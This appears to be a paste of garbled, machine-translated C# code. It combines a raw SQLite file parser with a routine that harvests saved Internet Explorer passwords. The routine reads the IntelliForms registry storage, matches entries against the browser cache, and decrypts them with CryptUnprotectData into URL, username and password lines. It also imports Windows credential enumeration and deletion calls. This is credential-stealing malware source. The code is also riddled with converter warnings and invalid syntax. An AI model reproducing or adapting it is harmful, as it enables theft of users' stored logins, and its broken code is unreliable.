- if (((i - 1)
- >= startIndex)) {
- retus[y] = ((ShiftRight(db_bytes(i), (j - 1)) && ShiftRight(255, j))
- | ShiftLeft(db_bytes((i - 1)), k));
- j = (j + 1);
- y = (y + 1);
- k = (k - 1);
- }
- else {
- if (!Bit64) {
- retus[y] = (ShiftRight(db_bytes(i), (j - 1)) && ShiftRight(255, j));
- }
- return BitConverter.ToInt64(retus, 0);
- }
- // Checks if a number is odd
- ((bool)(IsOdd(((Int64)(value)))));
- return;
- // Big Endian Conversation
- ((UInt64)(ConvertToInteger(((int)(startIndex)), ((int)(Size)))));
- if (((Size > 8)
- || (Size == 0))) {
- return null;
- }
- UInt64 retVal = 0;
- for (i = 0; (i
- <= (Size - 1)); i = (i + 1)) {
- retVal = (ShiftLeft(retVal, 8) || db_bytes((startIndex + i)));
- }
- return retVal;
- ReadMasterTable(((UInt64)(Offset)));
- if ((db_bytes(Offset) == 13)) {
- // Leaf node
- // Length for setting the array length for the entries
- UInt16 Length = (ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + 3))) - 1);
- int ol = 0;
- if (!(master_table_entries == null)) {
- ol = (master_table_entries.Length - 1);
- object Preserve;
- master_table_entries(((master_table_entries.Length - 1)
- + Length));
- }
- else {
- object master_table_entries;
- }
- UInt64 ent_offset;
- for (i = 0; (i <= Length); i = (i + 1)) {
- ent_offset = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + (8
- + (i * 2)))));
- if ((Offset != 100)) {
- ent_offset = (ent_offset + Offset);
- }
- // Table Cell auslesen
- object t = GVL(ent_offset);
- Int64 size = CVL(ent_offset, t);
- object s = GVL((ent_offset
- + ((t - ent_offset)
- + 1)));
- master_table_entries[(ol + i)].row_id = CVL((ent_offset
- + ((t - ent_offset)
- + 1)), s);
- // Table Content
- // Resetting the offset
- ent_offset = (ent_offset
- + ((s - ent_offset)
- + 1));
- // Now get to the Record Header
- t = GVL(ent_offset);
- s = t;
- Int64 Rec_Header_Size = CVL(ent_offset, t);
- // Record Header Length
- Int64[,] Field_Size;
- // Now get the field sizes and fill in the Values
- for (j = 0; (j <= 4); j = (j + 1)) {
- t = (s + 1);
- s = GVL(t);
- Field_Size[j] = CVL(t, s);
- if ((Field_Size[j] > 9)) {
- if (IsOdd(Field_Size[j])) {
- Field_Size[j] = ((Field_Size[j] - 13)
- / 2);
- }
- else {
- Field_Size[j] = ((Field_Size[j] - 12)
- / 2);
- }
- }
- else {
- Field_Size[j] = SQLDataTypeSize(Field_Size[j]);
- }
- }
- // Wir lesen nur unbedingt notwendige Sachen aus
- if ((encoding == 1)) {
- master_table_entries[(ol + i)].item_type = System.Text.Encoding.Default.GetString(db_bytes, (ent_offset + Rec_Header_Size), Field_Size[0]);
- }
- else if ((encoding == 2)) {
- master_table_entries[(ol + i)].item_type = System.Text.Encoding.Unicode.GetString(db_bytes, (ent_offset + Rec_Header_Size), Field_Size[0]);
- }
- else if ((encoding == 3)) {
- master_table_entries[(ol + i)].item_type = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, (ent_offset + Rec_Header_Size), Field_Size[0]);
- }
- if ((encoding == 1)) {
- master_table_entries[(ol + i)].item_name = System.Text.Encoding.Default.GetString(db_bytes, (ent_offset
- + (Rec_Header_Size + Field_Size[0])), Field_Size[1]);
- }
- else if ((encoding == 2)) {
- master_table_entries[(ol + i)].item_name = System.Text.Encoding.Unicode.GetString(db_bytes, (ent_offset
- + (Rec_Header_Size + Field_Size[0])), Field_Size[1]);
- }
- else if ((encoding == 3)) {
- master_table_entries[(ol + i)].item_name = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, (ent_offset
- + (Rec_Header_Size + Field_Size[0])), Field_Size[1]);
- }
- // master_table_entries(ol + i).astable_name = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1), Field_Size(2))
- master_table_entries[(ol + i)].root_num = ConvertToInteger((ent_offset
- + (Rec_Header_Size
- + (Field_Size[0]
- + (Field_Size[1] + Field_Size[2])))), Field_Size[3]);
- if ((encoding == 1)) {
- master_table_entries[(ol + i)].sql_statement = System.Text.Encoding.Default.GetString(db_bytes, (ent_offset
- + (Rec_Header_Size
- + (Field_Size[0]
- + (Field_Size[1]
- + (Field_Size[2] + Field_Size[3]))))), Field_Size[4]);
- }
- else if ((encoding == 2)) {
- master_table_entries[(ol + i)].sql_statement = System.Text.Encoding.Unicode.GetString(db_bytes, (ent_offset
- + (Rec_Header_Size
- + (Field_Size[0]
- + (Field_Size[1]
- + (Field_Size[2] + Field_Size[3]))))), Field_Size[4]);
- }
- else if ((encoding == 3)) {
- master_table_entries[(ol + i)].sql_statement = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, (ent_offset
- + (Rec_Header_Size
- + (Field_Size[0]
- + (Field_Size[1]
- + (Field_Size[2] + Field_Size[3]))))), Field_Size[4]);
- }
- }
- }
- else if ((db_bytes(Offset) == 5)) {
- // internal node
- UInt16 Length = (ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + 3))) - 1);
- UInt16 ent_offset;
- for (i = 0; (i <= Length); i = (i + 1)) {
- ent_offset = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + (12
- + (i * 2)))));
- if ((Offset == 100)) {
- ReadMasterTable(((ConvertToInteger(ent_offset, 4) - 1)
- * page_size));
- }
- else {
- ReadMasterTable(((ConvertToInteger((Offset + ent_offset), 4) - 1)
- * page_size));
- }
- }
- ReadMasterTable(((ConvertToInteger((Offset + 8), 4) - 1)
- * page_size));
- }
- ((bool)(ReadTableFromOffset(((UInt64)(Offset)))));
- if ((db_bytes(Offset) == 13)) {
- // Leaf node
- // Length for setting the array length for the entries
- UInt16 Length = (ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + 3))) - 1);
- int ol = 0;
- if (!(table_entries == null)) {
- ol = (table_entries.Length - 1);
- object Preserve;
- table_entries(((table_entries.Length - 1)
- + Length));
- }
- else {
- object table_entries;
- }
- UInt64 ent_offset;
- for (i = 0; (i <= Length); i = (i + 1)) {
- ent_offset = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + (8
- + (i * 2)))));
- if ((Offset != 100)) {
- ent_offset = (ent_offset + Offset);
- }
- // Table Cell auslesen
- object t = GVL(ent_offset);
- Int64 size = CVL(ent_offset, t);
- object s = GVL((ent_offset
- + ((t - ent_offset)
- + 1)));
- table_entries[(ol + i)].row_id = CVL((ent_offset
- + ((t - ent_offset)
- + 1)), s);
- // Table Content
- // Resetting the offset
- ent_offset = (ent_offset
- + ((s - ent_offset)
- + 1));
- // Now get to the Record Header
- t = GVL(ent_offset);
- s = t;
- Int64 Rec_Header_Size = CVL(ent_offset, t);
- // Record Header Length
- record_header_field[] Field_Size;
- Int64 size_read = ((ent_offset - t)
- + 1);
- object j = 0;
- // Now get the field sizes and fill in the Values
- while ((size_read < Rec_Header_Size)) {
- object Preserve;
- Field_Size[j];
- t = (s + 1);
- s = GVL(t);
- Field_Size[j].type = CVL(t, s);
- if ((Field_Size[j].type > 9)) {
- if (IsOdd(Field_Size[j].type)) {
- Field_Size[j].size = ((Field_Size[j].type - 13)
- / 2);
- }
- else {
- Field_Size[j].size = ((Field_Size[j].type - 12)
- / 2);
- }
- }
- else {
- Field_Size[j].size = SQLDataTypeSize(Field_Size[j].type);
- }
- size_read = (size_read
- + ((s - t)
- + 1));
- j = (j + 1);
- }
- object table_entries;
- content[(Field_Size.Length - 1)];
- int counter = 0;
- for (k = 0; (k
- <= (Field_Size.Length - 1)); k = (k + 1)) {
- if ((Field_Size[k].type > 9)) {
- if (!IsOdd(Field_Size[k].type)) {
- if ((encoding == 1)) {
- table_entries[(ol + i)].content(k) = System.Text.Encoding.Default.GetString(db_bytes, (ent_offset
- + (Rec_Header_Size + counter)), Field_Size[k].size);
- }
- else if ((encoding == 2)) {
- table_entries[(ol + i)].content(k) = System.Text.Encoding.Unicode.GetString(db_bytes, (ent_offset
- + (Rec_Header_Size + counter)), Field_Size[k].size);
- }
- else if ((encoding == 3)) {
- table_entries[(ol + i)].content(k) = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, (ent_offset
- + (Rec_Header_Size + counter)), Field_Size[k].size);
- }
- }
- else {
- table_entries[(ol + i)].content(k) = System.Text.Encoding.Default.GetString(db_bytes, (ent_offset
- + (Rec_Header_Size + counter)), Field_Size[k].size);
- }
- }
- else {
- table_entries[(ol + i)].content(k) = ConvertToInteger((ent_offset
- + (Rec_Header_Size + counter)), Field_Size[k].size).ToString();
- }
- counter = (counter + Field_Size[k].size);
- }
- }
- }
- else if ((db_bytes(Offset) == 5)) {
- // internal node
- UInt16 Length = (ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + 3))) - 1);
- UInt16 ent_offset;
- for (i = 0; (i <= Length); i = (i + 1)) {
- ent_offset = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + (12
- + (i * 2)))));
- ReadTableFromOffset(((ConvertToInteger((Offset + ent_offset), 4) - 1)
- * page_size));
- }
- ReadTableFromOffset(((ConvertToInteger((Offset + 8), 4) - 1)
- * page_size));
- }
- return true;
- // Reads a complete table with all entries in it
- ((bool)(ReadTable(((string)(TableName)))));
- // First loop through sqlite_master and look if table exists
- int found = -1;
- for (i = 0; (i <= master_table_entries.Length); i = (i + 1)) {
- if ((master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)) {
- found = i;
- break;
- }
- }
- if ((found == -1)) {
- return false;
- }
- object fields = master_table_entries[found].sql_statement.Substring((master_table_entries[found].sql_statement.IndexOf("(") + 1)).Split(",");
- for (i = 0; (i
- <= (fields.Length - 1)); i = (i + 1)) {
- fields[i] = fields[i].TrimStart();
- object index = fields[i].IndexOf(" ");
- if ((index > 0)) {
- fields[i] = fields[i].Substring(0, index);
- }
- if ((fields[i].IndexOf("UNIQUE") == 0)) {
- break;
- }
- else {
- object Preserve;
- field_names(i);
- field_names(i) = fields[i];
- }
- }
- return ReadTableFromOffset(((master_table_entries[found].root_num - 1)
- * page_size));
- // Returns the row count of current table
- ((int)(GetRowCount()));
- return table_entries.Length;
- // Returns a Value from current table in row row_num with field number field
- ((string)(GetValue(((int)(row_num)), ((int)(field)))));
- if ((row_num >= table_entries.Length)) {
- return null;
- }
- if ((field >= table_entries[row_num].content.Length)) {
- return null;
- }
- return table_entries[row_num].content(field);
- // Returns a Value from current table in row row_num with field name field
- ((string)(GetValue(((int)(row_num)), ((string)(field)))));
- int found = -1;
- for (i = 0; (i <= field_names.Length); i = (i + 1)) {
- if ((field_names(i).ToLower().CompareTo(field.ToLower()) == 0)) {
- found = i;
- break;
- }
- }
- if ((found == -1)) {
- return null;
- }
- return GetValue(row_num, found);
- // Returns a String-Array with all Tablenames
- ((string[])(GetTableNames()));
- string[] retVal;
- object arr = 0;
- for (i = 0; (i
- <= (master_table_entries.Length - 1)); i = (i + 1)) {
- if ((master_table_entries[i].item_type == "table")) {
- object Preserve;
- retVal[arr];
- retVal[arr] = master_table_entries[i].item_name;
- arr = (arr + 1);
- }
- }
- return retVal;
- // Constructor
- ((string)(baseName));
- // Page Number n is page_size*(n-1)
- if (File.Exists(baseName)) {
- FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
- string asi = Space(LOF(1));
- FileGet(1, asi);
- FileClose(1);
- db_bytes = System.Text.Encoding.Default.GetBytes(asi);
- if ((System.Text.Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)) {
- // Throw New Exception("Not a valid SQLite 3 Database File")
- return;
- }
- if ((db_bytes(52) != 0)) {
- // Throw New Exception("Auto-vacuum capable database is not supported")
- return;
- }
- else if ((ToBigEndian32Bit(BitConverter.ToInt32(db_bytes, 44)) >= 4)) {
- // Throw New Exception("No supported Schema layer file-format")
- return;
- }
- page_size = ConvertToInteger(16, 2);
- encoding = ConvertToInteger(56, 4);
- if ((encoding == 0)) {
- encoding = 1;
- }
- // Now we read the sqlite_master table
- // Offset is 100 in first page
- ReadMasterTable(100);
- }
- // TODO: #End Region ... Warning!!! not translated
- // TODO: #Region ... Warning!!! not translated
- CIE7Passwords;
- const int ERROR_CACHE_FIND_FAIL = 0;
- const int ERROR_CACHE_FIND_SUCCESS = 1;
- const int MAX_PATH = 260;
- const int MAX_CACHE_ENTRY_INFO_SIZE = 4096;
- const int NORMAL_CACHE_ENTRY = 1;
- const int URLHISTORY_CACHE_ENTRY = 2097152;
- SYSTEMTIME;
- short wYear;
- short wMonth;
- short wDayOfWeek;
- short wDay;
- short wHour;
- short wMinute;
- short wSecond;
- short wMilliseconds;
- INTERNET_CACHE_ENTRY_INFO;
- int dwStructSize;
- int lpszSourceUrlName;
- int lpszLocalFileName;
- int CacheEntryType;
- int dwUseCount;
- int dwHitRate;
- int dwSizeLow;
- int dwSizeHigh;
- FILETIME LastModifiedTime;
- FILETIME ExpireTime;
- FILETIME LastAccessTime;
- FILETIME LastSyncTime;
- int lpHeaderInfo;
- int dwHeaderInfoSize;
- int lpszFileExtension;
- int dwExemptDelta;
- FindFirstUrlCacheEntry;
- "wininet.dll";
- ((int)("FindFirstUrlCacheEntryA"[((string)(lpszUrlSearchPattern)), ((IntPtr)(lpFirstCacheEntryInfo)), ref ((int)(lpdwFirstCacheEntryInfoBufferSize))]));
- FindNextUrlCacheEntry;
- "wininet.dll";
- ((int)("FindNextUrlCacheEntryA"[((int)(hEnum)), ((IntPtr)(lpFirstCacheEntryInfo)), ref ((int)(lpdwFirstCacheEntryInfoBufferSize))]));
- FindCloseUrlCache;
- ((int)("wininet.dll"[((int)(hEnumHandle))]));
- lstrlenA;
- ((int)("kernel32.dll"[((IntPtr)(lpString))]));
- lstrcpyA;
- ((int)("kernel32.dll"[((string)(RetVal)), ((int)(ptr))]));
- const int PROV_RSA_FULL = 1;
- const int ALG_CLASS_HASH = (4 * long.Parse((2 | 13)));
- // TODO: Warning!!! The operator should be an XOR ^ instead of an OR, but not available in CodeDOM
- const int ALG_TYPE_ANY = 0;
- const int ALG_SID_SHA = 4;
- const int CALG_SHA = (ALG_CLASS_HASH
- || (ALG_TYPE_ANY || ALG_SID_SHA));
- const int AT_SIGNATURE = 2;
- CryptAcquireContext;
- "advapi32.dll";
- ((int)("CryptAcquireContextA"[ref ((int)(phProv)), ((int)(pszContainer)), ((string)(pszProvider)), ((int)(dwProvType)), ((int)(dwFlags))]));
- CryptCreateHash;
- ((int)("advapi32.dll"[((int)(hProv)), ((int)(Algid)), ((int)(hKey)), ((int)(dwFlags)), ref ((int)(phHash))]));
- CryptHashData;
- ((int)("advapi32.dll"[((int)(hHash)), ((IntPtr)(pbData)), ((int)(dwDataLen)), ((int)(dwFlags))]));
- const int HP_HASHVAL = 2;
- CryptGetHashParam;
- ((int)("advapi32.dll"[((int)(hHash)), ((int)(dwParam)), ((IntPtr)(pByte)), ref ((int)(pdwDataLen)), ((int)(dwFlags))]));
- CryptGetHashParam;
- ((int)("advapi32.dll"[((int)(hHash)), ((int)(dwParam)), <, MarshalAs(UnmanagedType.LPArrayUnknownGreater, ref ((byte)(pByte())), ref ((int)(pdwDataLen)), ((int)(dwFlags))]));
- CryptSignHash;
- "advapi32.dll";
- ((int)("CryptSignHashA"[((int)(hHash)), ((int)(dwKeySpec)), ((int)(sDescription)), ((int)(dwFlags)), ((int)(pbSignature)), ref ((int)(pdwSigLen))]));
- CryptDestroyHash;
- ((int)("advapi32.dll"[((int)(hHash))]));
- CryptReleaseContext;
- ((int)("advapi32.dll"[((int)(hProv)), ((int)(dwFlags))]));
- const int READ_CONTROL = 131072;
- const int STANDARD_RIGHTS_READ = READ_CONTROL;
- const int KEY_QUERY_VALUE = 1;
- const int KEY_ENUMERATE_SUB_KEYS = 8;
- const int KEY_NOTIFY = 16;
- const int SYNCHRONIZE = 1048576;
- const int STANDARD_RIGHTS_WRITE = READ_CONTROL;
- const int KEY_SET_VALUE = 2;
- const int KEY_CREATE_SUB_KEY = 4;
- const int KEY_READ = ((STANDARD_RIGHTS_READ
- || (KEY_QUERY_VALUE
- || (KEY_ENUMERATE_SUB_KEYS || KEY_NOTIFY)))
- && !SYNCHRONIZE);
- const int KEY_WRITE = ((STANDARD_RIGHTS_WRITE
- || (KEY_SET_VALUE || KEY_CREATE_SUB_KEY))
- && !SYNCHRONIZE);
- const int HKEY_CURRENT_USER = 2147483649;
- RegOpenKeyEx;
- "advapi32.dll";
- ((int)("RegOpenKeyExA"[((int)(hKey)), ((string)(lpSubKey)), ((int)(ulOptions)), ((int)(samDesired)), ref ((int)(phkResult))]));
- RegQueryValueEx;
- "advapi32.dll";
- ((int)("RegQueryValueExA"[((int)(hKey)), ((string)(lpValueName)), ((int)(lpReserved)), ref ((int)(lpType)), ((IntPtr)(lpData)), ref ((int)(lpcbData))]));
- RegDeleteValue;
- "advapi32.dll";
- ((int)("RegDeleteValueA"[((int)(hKey)), ((string)(lpValueName))]));
- LocalFree;
- ((int)("kernel32.dll"[((int)(hMem))]));
- RegCloseKey;
- ((int)("advapi32.dll"[((int)(hKey))]));
- DATA_BLOB;
- int cbData;
- int pbData;
- CryptUnprotectData;
- ((int)("crypt32.dll"[ref ((DATA_BLOB)(pDataIn)), ((int)(ppszDataDescr)), ((IntPtr)(pOptionalEntropy)), ((int)(pvReserved)), ((int)(pPromptStruct)), ((int)(dwFlags)), ref ((DATA_BLOB)(pDataOut))]));
- CryptUnprotectData;
- ((int)("crypt32.dll"[ref ((DATA_BLOB)(pDataIn)), ((int)(ppszDataDescr)), ref ((DATA_BLOB)(pOptionalEntropy)), ((int)(pvReserved)), ((int)(pPromptStruct)), ((int)(dwFlags)), ref ((DATA_BLOB)(pDataOut))]));
- StringIndexHeader;
- int dwWICK;
- // semble �tre une signature de la structure : "WICK"
- int dwStructSize;
- // taille de la structure d'ent�te (&h18)
- int dwEntriesCount;
- // nombre d'entr�e suivant le structure
- int dwUnkId;
- // semble �tre un identifiant des donn�es
- int dwType;
- // semble �tre le type de donn�es :
- int dwUnk;
- // pourrait �tre un emplacement dans le structure pour mettre un pointeur vers la premi�re entr�e suivant cette structure
- StringIndexEntry;
- int dwDataOffset;
- // d�calage depuis le d�but des donn�es StringData
- FILETIME ftInsertDateTime;
- // date d'ajout de la donn�e dans la liste pour le formulaire ou le champ
- int dwDataSize;
- // taille de la donn�e pour le champ ou le formulaire
- Enum;
- CRED_TYPE;
- GENERIC = 1;
- DOMAIN_PASSWORD;
- DOMAIN_CERTIFICATE;
- DOMAIN_VISIBLE_PASSWORD;
- MAXIMUM;
- Enum;
- CREDENTIAL_ATTRIBUTE;
- int lpstrKeyword;
- int dwFlags;
- int dwValueSize;
- int lpbValue;
- CREDENTIAL;
- int dwFlags;
- int dwType;
- int lpstrTargetName;
- int lpstrComment;
- FILETIME ftLastWritten;
- int dwCredentialBlobSize;
- int lpbCredentialBlob;
- int dwPersist;
- int dwAttributeCount;
- int lpAttributes;
- // PCREDENTIAL_ATTRIBUTE
- int lpstrTargetAlias;
- int lpUserName;
- CredEnumerate;
- "advapi32.dll";
- ((int)("CredEnumerateW"[<, MarshalAs(UnmanagedType.LPWStrUnknownGreater, ((string)(lpszFilter)), ((int)(lFlags)), ref ((int)(pCount)), ref ((int)(lppCredentials))]));
- CredDelete;
- "advapi32.dll";
- ((int)("CredDeleteW"[<, MarshalAs(UnmanagedType.LPWStrUnknownGreater, ((string)(lpwstrTargetName)), ((int)(dwType)), ((int)(dwFlags))]));
- CredFree;
- ((int)("advapi32.dll"[((int)(pBuffer))]));
- SysAllocString;
- ((string)("oleaut32.dll"[((int)(pOlechar))]));
- ((string)(GetStrFromPtrA(((IntPtr)(lpszA)))));
- return Marshal.PtrToStringAnsi(lpszA);
- ((byte)(CheckSum(ref ((string)(s)))));
- int i;
- int sum;
- sum = 0;
- for (i = 1; (i <= s.Length); i = (i + 2)) {
- sum = (sum + int.Parse(double.Parse(("&H" + s.Substring((i - 1), 2)))));
- }
- CheckSum = byte.Parse((sum % 256));
- ((string)(GetSHA1Hash(ref ((byte)(pbData[])))));
- byte[] buff;
- int i;
- object Preserve;
- pbData[(pbData.Length + 1)];
- buff = System.Security.Cryptography.SHA1.Create().ComputeHash(pbData);
- GetSHA1Hash = "";
- for (i = 0; (i
- <= (buff.Length - 1)); i++) {
- GetSHA1Hash = (GetSHA1Hash + ("00" + Hex(buff[i])).Substring((("00" + Hex(buff[i])).Length - 2)));
- }
- ProcessIEPass(((string)(strURL)), ((string)(strHash)), ((DATA_BLOB)(dataOut)));
- int k;
- // index
- IntPtr ptrData;
- IntPtr ptrEntry;
- StringIndexHeader hIndex;
- int cbhIndex;
- int cbentry;
- StringIndexEntry eIndex;
- string strUserName;
- string strPasswd;
- IntPtr ptr;
- cbentry = eIndex.Length;
- cbhIndex = hIndex.Length;
- ptr = new IntPtr((dataOut.pbData + Marshal.ReadByte(new IntPtr(dataOut.pbData))));
- hIndex = ((StringIndexHeader)(Marshal.PtrToStructure(ptr, hIndex.GetType())));
- if ((hIndex.dwType == 1)) {
- // passwd
- if ((hIndex.dwEntriesCount >= 2)) {
- ptrEntry = new IntPtr((ptr.ToInt32 + hIndex.dwStructSize));
- ptrData = new IntPtr((ptrEntry.ToInt32()
- + (hIndex.dwEntriesCount * cbentry)));
- for (int i = 0; (i
- <= (hIndex.dwEntriesCount - 1)); i = (i + 2)) {
- if (((ptrData == IntPtr.Zero)
- || (ptrEntry == IntPtr.Zero))) {
- return;
- }
- eIndex = ((StringIndexEntry)(Marshal.PtrToStructure(ptrEntry, eIndex.GetType())));
- if ((lstrlenA(new IntPtr((ptrData.ToInt32 + eIndex.dwDataOffset))) != eIndex.dwDataSize)) {
- // UNICODE
- strUserName = Marshal.PtrToStringUni(new IntPtr((ptrData.ToInt32 + eIndex.dwDataOffset)));
- }
- else {
- // ANSI
- strUserName = Marshal.PtrToStringAnsi(new IntPtr((ptrData.ToInt32 + eIndex.dwDataOffset)));
- }
- ptrEntry = new IntPtr((ptrEntry.ToInt32 + cbentry));
- eIndex = ((StringIndexEntry)(Marshal.PtrToStructure(ptrEntry, eIndex.GetType())));
- strPasswd = Space(eIndex.dwDataSize);
- if ((lstrlenA(new IntPtr((ptrData.ToInt32 + eIndex.dwDataOffset))) != eIndex.dwDataSize)) {
- // UNICODE
- strPasswd = Marshal.PtrToStringUni(new IntPtr((ptrData.ToInt32 + eIndex.dwDataOffset)));
- }
- else {
- // ANSI
- strPasswd = Marshal.PtrToStringAnsi(new IntPtr((ptrData.ToInt32 + eIndex.dwDataOffset)));
- }
- ptrEntry = new IntPtr((ptrEntry.ToInt32 + cbentry));
- OL = (OL + ("|URL| "
- + (strURL + ("\r\n" + ("|USR| "
- + (strUserName + ("\r\n" + ("|PWD| "
- + (strPasswd + "\r\n")))))))));
- }
- }
- }
- else if ((hIndex.dwType == 0)) {
- // champ
- strPasswd = null;
- ptrEntry = new IntPtr((ptr.ToInt32 + hIndex.dwStructSize));
- ptrData = new IntPtr((ptrEntry.ToInt32()
- + (hIndex.dwEntriesCount * cbentry)));
- if (((ptrData == IntPtr.Zero)
- || (ptrEntry == IntPtr.Zero))) {
- return;
- }
- for (k = 0; (k
- <= (hIndex.dwEntriesCount - 1)); k++) {
- eIndex = ((StringIndexEntry)(Marshal.PtrToStructure(ptrEntry, eIndex.GetType())));
- strUserName = Space(eIndex.dwDataSize);
- if ((lstrlenA(new IntPtr((ptrData.ToInt32() + eIndex.dwDataOffset))) != eIndex.dwDataSize)) {
- // UNICODE
- strUserName = Marshal.PtrToStringUni(new IntPtr((ptrData.ToInt32() + eIndex.dwDataOffset)));
- }
- else {
- // ANSI
- strUserName = Marshal.PtrToStringAnsi(new IntPtr((ptrData.ToInt32() + eIndex.dwDataOffset)));
- }
- ptrEntry = new IntPtr((ptrEntry.ToInt32() + cbentry));
- OL = (OL + ("|URL| "
- + (strURL + ("\r\n" + ("|USR| "
- + (strUserName + ("\r\n" + ("|PWD| "
- + (strPasswd + "\r\n")))))))));
- }
- }
- AddPasswdInfo(((string)(strRess)), ((int)(hKey)));
- string strHash;
- int dwType;
- int ret;
- int cbData;
- DATA_BLOB dataOut;
- DATA_BLOB dataIn;
- DATA_BLOB Entropy;
- strRess = strRess.ToLower();
- strHash = GetSHA1Hash(System.Text.UnicodeEncoding.Unicode.GetBytes(strRess));
- strHash = (strHash + ("00" + Hex(CheckSum(strHash))).Substring((("00" + Hex(CheckSum(strHash))).Length - 2)));
- ret = RegQueryValueEx(hKey, strHash, 0, dwType, IntPtr.Zero, cbData);
- if ((cbData > 0)) {
- IntPtr ptrData = Marshal.AllocHGlobal(cbData);
- ret = RegQueryValueEx(hKey, strHash, 0, dwType, ptrData, cbData);
- dataIn.cbData = cbData;
- dataIn.pbData = ptrData.ToInt32;
- Entropy.cbData = ((strRess.Length * 2)
- + 2);
- Entropy.pbData = Marshal.StringToHGlobalUni(strRess).ToInt32;
- CryptUnprotectData(dataIn, 0, Entropy, 0, 0, 0, dataOut);
- ProcessIEPass(strRess, strHash, dataOut);
- Marshal.FreeHGlobal(new IntPtr(Entropy.pbData));
- LocalFree(dataOut.pbData);
- }
- ((string)(CopyString(((IntPtr)(ptr)))));
- return Marshal.PtrToStringUni(ptr);
- Refresh();
- try {
- // OL += vbNewLine & "###IE" & vbNewLine
- int i;
- int hFile;
- int dwSize;
- IntPtr ptr;
- INTERNET_CACHE_ENTRY_INFO centry;
- int hKey1;
- int hKey2;
- string url;
- System.Text.RegularExpressions.Regex nameRegex = new System.Text.RegularExpressions.Regex("name=\"([^\"]+)\"", System.Text.RegularExpressions.RegexOptions.Compiled);
- RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage1", 0, KEY_READ, hKey1);
- RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", 0, KEY_READ, hKey2);
- if (((hKey2 != 0)
- || (hKey1 != 0))) {
- hFile = FindFirstUrlCacheEntry(null, IntPtr.Zero, dwSize);
- if ((dwSize > 0)) {
- ptr = Marshal.AllocHGlobal(dwSize);
- Marshal.WriteInt32(ptr, dwSize);
- hFile = FindFirstUrlCacheEntry(null, ptr, dwSize);
- for (
- ; // TODO: Warning!!!! NULL EXPRESSION DETECTED...
- ;
- ) {
- centry = ((INTERNET_CACHE_ENTRY_INFO)(Marshal.PtrToStructure(ptr, centry.GetType())));
- if (((centry.CacheEntryType
- && (NORMAL_CACHE_ENTRY || URLHISTORY_CACHE_ENTRY))
- != 0)) {
- url = GetStrFromPtrA(new IntPtr(centry.lpszSourceUrlName));
- if ((url.IndexOf("?") >= 0)) {
- url = url.Substring(0, url.IndexOf("?"));
- }
- if (((url.IndexOf("@") + 1)
- > 0)) {
- url = url.Substring((url.IndexOf("@") + 1));
- }
- if (((hKey1 != 0)
- && ((centry.CacheEntryType && NORMAL_CACHE_ENTRY)
- == NORMAL_CACHE_ENTRY))) {
- string header = GetStrFromPtrA(new IntPtr(centry.lpHeaderInfo));
- if ((!string.IsNullOrEmpty(header)
- && header.Contains("text/html"))) {
- string localName = GetStrFromPtrA(new IntPtr(centry.lpszLocalFileName));
- try {
- foreach (System.Text.RegularExpressions.Match input in nameRegex.Matches(System.IO.File.ReadAllText(localName))) {
- AddPasswdInfo(input.Groups[1].Value, hKey1);
- }
- }
- catch (System.Exception End) {
- try {
- }
- }
- AddPasswdInfo(url, hKey2);
- }
- dwSize = 0;
- FindNextUrlCacheEntry(hFile, IntPtr.Zero, dwSize);
- Marshal.FreeHGlobal(ptr);
- if ((dwSize > 0)) {
- ptr = Marshal.AllocHGlobal(dwSize);
- Marshal.WriteInt32(ptr, dwSize);
- }
- while ((FindNextUrlCacheEntry(hFile, ptr, dwSize) != 0)) {
- FindCloseUrlCache(hFile);
- }
- RegCloseKey(hKey1);
- RegCloseKey(hKey2);
- }
- string str_Renamed;
- int dwNbCred;
- int lpCredentials;
- string szAuth;
- string strRess;
- CREDENTIAL Cred;
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
Add Comment
Please, Sign In to add comment